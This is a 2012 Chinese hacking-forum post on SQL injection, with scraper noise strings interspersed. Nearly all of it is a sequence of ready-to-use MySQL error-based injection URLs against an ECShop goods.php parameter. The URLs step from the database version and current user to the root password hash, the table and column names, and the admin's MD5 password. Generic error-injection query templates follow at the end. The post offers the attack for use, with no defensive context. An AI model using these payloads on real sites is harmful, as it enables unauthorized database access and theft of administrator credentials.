找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2557|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号
: Y' P! O4 G5 M5 xhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 o( V4 c) ~/ X0 s, g. d+ L1 u% v. b

+ S. i0 m9 O# N" \' Y: e判断系统
" h4 S' @6 b8 E( T) t( ?' H0 j( F/ x, x6 R
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23) Z. ?! `; [* I  U, r1 }  [* G

! t" o" ^9 g. ~, d- l! i& _/ ~0 H

; w4 _* U; z: N+ e/ a当前 user()$ B8 M5 i( ~2 c) ?6 W$ i
4 u- b- ~6 K" ~, G. E' X2 ?9 E' I
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23$ `. `3 A9 c4 X7 X+ i  W' v1 s
( E* f# M3 o* y9 I! B% e4 G: j
! u! V3 }- Y' w- ?/ g

7 Q9 t2 R5 s$ s0 k当前 database()
  v/ J3 B/ {3 S; w+ r2 ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
" n/ h) J6 {* e% P
' R2 G- z; }6 J5 K/ ?2 L3 \2 ^
8 V6 D0 o3 s- @- A& v
$ c7 X( v  i4 {/ i" p% g) x2 z
; {# T! @8 T9 `4 sroot hash
( k9 S) ~) p$ z5 X0 o4 Q; H. P/ X& J5 E; t* V, p
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23( E% r/ J5 w& }3 L3 n2 u8 o8 }

1 F: e4 b$ D7 x; x2 ~: s5 S& F* x+ O6 m8 l2 w% n
/ ~$ _3 F: D% `$ y
当前 数据库表名
+ N1 \4 l6 ~) m5 T% s
  H4 D. r% n" x" \# }http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ F+ X. ?; d; V/ g7 L# v& O# r
6 J% ~+ i. f3 Y3 M% O$ b4 H& m" @5 |0 O/ {: |3 C# \

9 J0 H1 q5 H# q& N! q/ b当前 数据库 user_name 字段3 S2 E! y& V) C( U( ]& U+ ^

, ?% H5 M0 Y5 t7 p5 l+ zhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23( f& b( w+ f( C$ ], S. T# \

( I- M1 g) u2 Y2 A. c当前 数据库 字段 password
. W- y( ]6 i# ?" o; V0 @8 @http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23' X) V! z! n( E( }5 Z

/ I6 b3 W& c2 K: p/ ]$ ?4 o; @
8 O1 ^7 \' p: a% h$ c0 S( b1 N* z( {0 `! j6 ~. b
获得 admin passwd(md5)! ?% E, q/ w" I. U
4 w$ F+ w4 Q+ j* [& p0 X

0 q) \* d- D3 l) Lhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
" G6 ~: w: O/ Z) Z* n
! d1 W: c0 p* u4 _报错注射
5 p5 N- x" s8 |9 f; n3 sSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)* o2 Q" f! ^$ c" {% @/ q0 I: q

. g2 i3 _+ Y( x, B- s# E, B" H. CSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)/ f6 V: d: S, ]

+ V- q+ d( A& j# zand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表